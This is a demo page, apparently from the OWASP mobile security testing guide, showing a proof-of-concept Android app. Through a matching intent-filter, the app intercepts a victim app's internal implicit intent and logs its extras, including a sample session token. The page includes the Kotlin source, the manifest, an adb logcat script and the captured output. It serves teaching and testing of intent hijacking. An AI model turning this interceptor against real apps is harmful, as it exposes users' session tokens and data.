Skip to content

MASTG-DEMO-0140: Attacker App Registering for Internal Implicit Intent

Download MASTG-DEMO-0140 APK Open MASTG-DEMO-0140 Folder Build MASTG-DEMO-0140 APK

Sample

The following attacker app registers an <intent-filter> for the custom action org.owasp.mastestapp.INTERNAL_ACTION, used in the Internal Activity Communication via Implicit Intent demo. When Android presents this app as a candidate handler and it is selected, it receives the victim app's intent and displays/logs the received extras.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.owasp.mastestapp

import android.app.Activity
import android.content.Context
import android.os.Bundle
import android.util.Log
import android.view.Gravity
import android.widget.TextView

// SUMMARY: This sample demonstrates an attacker app that handles an internal implicit intent.
class MastgTest(private val context: Context) {

    companion object {
        const val TAG = "INTENT_ATTACK"
    }

    fun mastgTest(): String {
        return "Install this app with MASTG-DEMO-0136 and select it when Android resolves INTERNAL_ACTION."
    }
}

class AttackerActivity : Activity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val action = intent.action
        val textToShow = if (action == android.content.Intent.ACTION_MAIN) {
            "Hello in the attacker Demo app"
        } else {
            val extras = intent.extras
            val args = extras?.keySet()?.sorted()?.joinToString { key -> "$key=${extras.get(key)}" } ?: "None"
            Log.e(MastgTest.TAG, "Intercepted action=$action extras=$args")
            "Intercepted intent! \nArguments: $args"
        }

        val textView = TextView(this).apply {
            text = textToShow
            textSize = 20f
            gravity = Gravity.CENTER
            setTextColor(android.graphics.Color.BLACK)
        }
        setContentView(textView)
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
    <application>
        <activity
            android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name=".AttackerActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="org.owasp.mastestapp.INTERNAL_ACTION" />
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </activity>
    </application>
</manifest>

Note that this app is not inherently malicious. It illustrates that any app can register for a custom action and be presented to the user as a valid handler. The actual vulnerability lies in the victim app using an implicit intent for internal component communication.

Steps

  1. Use Installing Apps to install the victim app from Internal Activity Communication via Implicit Intent.
  2. Use Installing Apps to install this attacker app on the same device.
  3. Launch the victim app and tap Start.
  4. If Android presents a resolver for INTERNAL_ACTION, select this attacker app.
  5. Run run.sh to capture the intercepted intent details from logcat.
run.sh
1
2
3
#!/bin/bash
# SUMMARY: This script captures the intercepted implicit intent details from logcat.
adb logcat -d -s INTENT_ATTACK > output.txt

Observation

Android presents the attacker app as a candidate for handling INTERNAL_ACTION:

Once selected, the attacker app receives the intent and logs the action and extras sent by the victim app:

output.txt
1
2
--------- beginning of main
06-20 13:16:17.157 25071 25071 E INTENT_ATTACK: Intercepted action=org.owasp.mastestapp.INTERNAL_ACTION extras=session_token=abcde-fghij-12345, user_id=12345

Evaluation

The test case fails because the attacker app receives an implicit intent that the victim app ( Internal Activity Communication via Implicit Intent) intended for app-internal communication.

The log output confirms that the attacker app handled org.owasp.mastestapp.INTERNAL_ACTION and received the extras sent with the intent.

When the victim app dispatches this implicit intent, Android resolves any installed app with a matching <intent-filter> as a possible handler. If the attacker app is selected, the intent is delivered outside the victim app even though the flow was intended for InternalActivity.

The attacker app therefore controls the receiving component and can read the action and full extras Bundle, including values such as user_id and session_token.